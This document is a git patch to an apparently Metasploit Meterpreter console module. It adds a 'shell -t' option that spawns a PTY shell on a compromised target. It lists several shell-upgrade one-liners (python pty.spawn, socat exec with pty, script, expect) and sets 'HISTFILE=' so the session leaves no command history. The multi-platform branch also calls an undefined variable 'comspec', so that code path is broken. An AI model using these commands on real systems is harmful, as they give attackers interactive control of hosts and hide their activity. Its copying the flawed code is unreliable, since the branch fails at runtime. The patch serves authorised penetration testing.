From 3ff9b3b0c953674ce047884fcc59a84dd74e93e2 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 14 Sep 2018 11:16:41 -0500 Subject: [PATCH] Land #10389, PTY support for Meterpreter "shell" --- .../console/command_dispatcher/stdapi/sys.rb | 144 ++++++++++++++++-- 1 file changed, 132 insertions(+), 12 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 4aff977aeb..5599f159e9 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -22,7 +22,7 @@ class Console::CommandDispatcher::Stdapi::Sys # @@execute_opts = Rex::Parser::Arguments.new( "-a" => [ true, "The arguments to pass to the command." ], - "-c" => [ false, "Channelized I/O (required for interaction)." ], + "-c" => [ false, "Channelized I/O (required for interaction)." ], # -i sets -c "-f" => [ true, "The executable command to run." ], "-h" => [ false, "Help menu." ], "-H" => [ false, "Create the process hidden from view." ], @@ -33,6 +33,14 @@ class Console::CommandDispatcher::Stdapi::Sys "-k" => [ false, "Execute process on the meterpreters current desktop" ], "-s" => [ true, "Execute process in a given session as the session user" ]) + # + # Options used by the 'shell' command. + # + @@shell_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help menu." ], + "-l" => [ false, "List available shells (/etc/shells)." ], + "-t" => [ true, "Spawn a PTY shell (/bin/bash if no argument given)." ]) # ssh(1) -t + # # Options used by the 'reboot' command. # @@ -249,37 +257,149 @@ class Console::CommandDispatcher::Stdapi::Sys [] end + def cmd_shell_help + print_line 'Usage: shell [options]' + print_line + print_line 'Opens an interactive native shell.' + print_line @@shell_opts.usage + end + + def cmd_shell_tabs(str, words) + return @@shell_opts.fmt.keys if words.length == 1 + [] + end + # # Drop into a system shell as specified by %COMSPEC% or # as appropriate for the host. + # def cmd_shell(*args) + use_pty = false + sh_path = '/bin/bash' + + @@shell_opts.parse(args) do |opt, idx, val| + case opt + when '-h' + cmd_shell_help + return true + when '-l' + return false unless client.fs.file.exist?('/etc/shells') + + begin + client.fs.file.open('/etc/shells') do |f| + print(f.read) until f.eof + end + rescue + return false + end + + return true + when '-t' + use_pty = true + # XXX: No other options must follow + sh_path = val if val + end + end + case client.platform when 'windows' - path = client.fs.file.expand_path("%COMSPEC%") - path = (path and not path.empty?) ? path : "cmd.exe" + path = client.fs.file.expand_path('%COMSPEC%') + path = (path && !path.empty?) ? path : 'cmd.exe' # attempt the shell with thread impersonation begin - cmd_execute("-f", path, "-c", "-H", "-i", "-t") + cmd_execute('-f', path, '-c', '-i', '-H', '-t') rescue # if this fails, then we attempt without impersonation - print_error( "Failed to spawn shell with thread impersonation. Retrying without it." ) - cmd_execute("-f", path, "-c", "-H", "-i") + print_error('Failed to spawn shell with thread impersonation. Retrying without it.') + cmd_execute('-f', path, '-c', '-i', '-H') end when 'linux', 'osx' + if use_pty && pty_shell(sh_path) + return true + end + # Don't expand_path() this because it's literal anyway - path = "/bin/sh" - cmd_execute("-f", path, "-c", "-i") + cmd_execute('-f', '/bin/sh', '-c', '-i') else - # Then this is a multi-platform meterpreter (php or java), which + # Then this is a multi-platform meterpreter (e.g., php or java), which # must special-case COMSPEC to return the system-specific shell. - path = client.fs.file.expand_path("%COMSPEC%") + path = client.fs.file.expand_path('%COMSPEC%') + # If that failed for whatever reason, guess it's unix - path = (path and not path.empty?) ? path : "/bin/sh" - cmd_execute("-f", path, "-c", "-i") + path = (path && !path.empty?) ? path : '/bin/sh' + + if use_pty && path == '/bin/sh' && pty_shell(sh_path) + return true + end + + cmd_execute('-f', comspec, '-c', '-i') end end + # + # Spawn a PTY shell + # + def pty_shell(sh_path) + sh_path = client.fs.file.exist?(sh_path) ? sh_path : '/bin/sh' + + # Python Meterpreter calls pty.openpty() - No need for other methods + if client.arch == 'python' + cmd_execute('-f', sh_path, '-c', '-i') + return true + end + + # Check for the following in /usr{,/local}/bin: + # script + # python{,2,3} + # socat + # expect + paths = %w[ + /usr/bin/script + /usr/bin/python + /usr/local/bin/python + /usr/bin/python2 + /usr/local/bin/python2 + /usr/bin/python3 + /usr/local/bin/python3 + /usr/bin/socat + /usr/local/bin/socat + /usr/bin/expect + /usr/local/bin/expect + ] + + # Select method for spawning PTY Shell based on availability on the target. + path = paths.find { |p| client.fs.file.exist?(p) } + + return false unless path + + # Commands for methods + cmd = + case path + when /script/ + if client.platform == 'linux' + "#{path} -qc #{sh_path} /dev/null" + else + # script(1) invocation for BSD, OS X, etc. + "#{path} -q /dev/null #{sh_path}" + end + when /python/ + "#{path} -c 'import pty; pty.spawn(\"#{sh_path}\")'" + when /socat/ + # sigint isn't passed through yet + "#{path} - exec:#{sh_path},pty,sane,setsid,sigint,stderr" + when /expect/ + "#{path} -c 'spawn #{sh_path}; interact'" + end + + # "env TERM=xterm" provides colors, "clear" command, etc. as available on the target. + cmd.prepend('env TERM=xterm HISTFILE= ') + + print_status(cmd) + cmd_execute('-f', cmd, '-c', '-i') + + true + end # # Gets the process identifier that meterpreter is running in on the remote